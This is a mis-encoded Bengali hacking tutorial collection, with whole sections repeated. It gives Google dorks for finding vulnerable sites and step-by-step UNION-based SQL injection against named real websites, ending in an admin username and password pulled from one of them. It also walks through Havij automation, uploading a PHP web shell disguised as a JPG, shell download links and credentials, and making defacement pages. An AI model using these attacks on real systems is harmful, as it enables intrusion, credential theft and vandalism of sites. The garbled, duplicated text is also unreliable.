শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
